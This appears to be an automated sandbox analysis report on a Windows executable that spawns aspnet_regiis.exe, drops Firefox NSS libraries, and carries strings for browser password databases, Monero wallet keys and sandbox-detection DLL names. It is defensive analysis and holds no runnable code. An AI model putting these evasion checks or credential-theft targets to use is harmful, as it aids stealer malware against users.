Source: aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: aspnet_regiis.exe, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: aspnet_regiis.exe, 00000003.00000003.2530342786.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2517531854.0000000002FB0000.00000004.00000020.00020000.00000000.sdmp, IJKFCF.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 21%
Source: file.exe	Virustotal: Detection: 30%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dwmapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: aspnet_regiis.exe, 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source:	Binary string: freebl3.pdbp source: aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source:	Binary string: nss3.pdb@ source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: aspnet_regiis.exe, 00000003.00000002.3394302971.000000003A330000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: aspnet_regiis.exe, 00000003.00000002.3389107122.000000002E456000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr
Source:	Binary string: mozglue.pdb source: aspnet_regiis.exe, 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.a90000.0.unpack n@G>6P:EW;.text:ER;.rsrc:R;.reloc:R;Unknown_Section4:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:R;Unknown_Section4:ER;

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00418950 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00418950

Source: file.exe	Static PE information: section name: n@G>6P
Source: file.exe	Static PE information: section name:
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE36D2 push esp; retf	0_2_00AE36D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE6827 push cs; retf	0_2_00AE6828
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E818C21 push ecx; ret	0_2_6E818C34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0042F142 push ecx; ret	3_2_0042F155
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00422D3B push esi; ret	3_2_00422D3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041DDB5 push ecx; ret	3_2_0041DDC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00432715 push 0000004Ch; iretd	3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7CB536 push ecx; ret	3_2_6C7CB549

Source: file.exe

Static PE information: section name: n@G>6P entropy: 7.9994507847955285

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Roaming\msvcp110.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

3_2_00418950

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0.2.file.exe.6e820000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6e820000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.aspnet_regiis.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.aspnet_regiis.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6e7f0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5576, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: aspnet_regiis.exe	Binary or memory string: DIR_WATCH.DLL
Source: aspnet_regiis.exe	Binary or memory string: SBIEDLL.DLL
Source: aspnet_regiis.exe	Binary or memory string: API_LOG.DLL
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL21:49:5921:49:5921:49:5921:49:5921:49:5921:49:59DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 15C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 3070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 5640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 6640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 6770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 7770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 7AC0000 memory reserve \| memory write watch	Jump to behavior
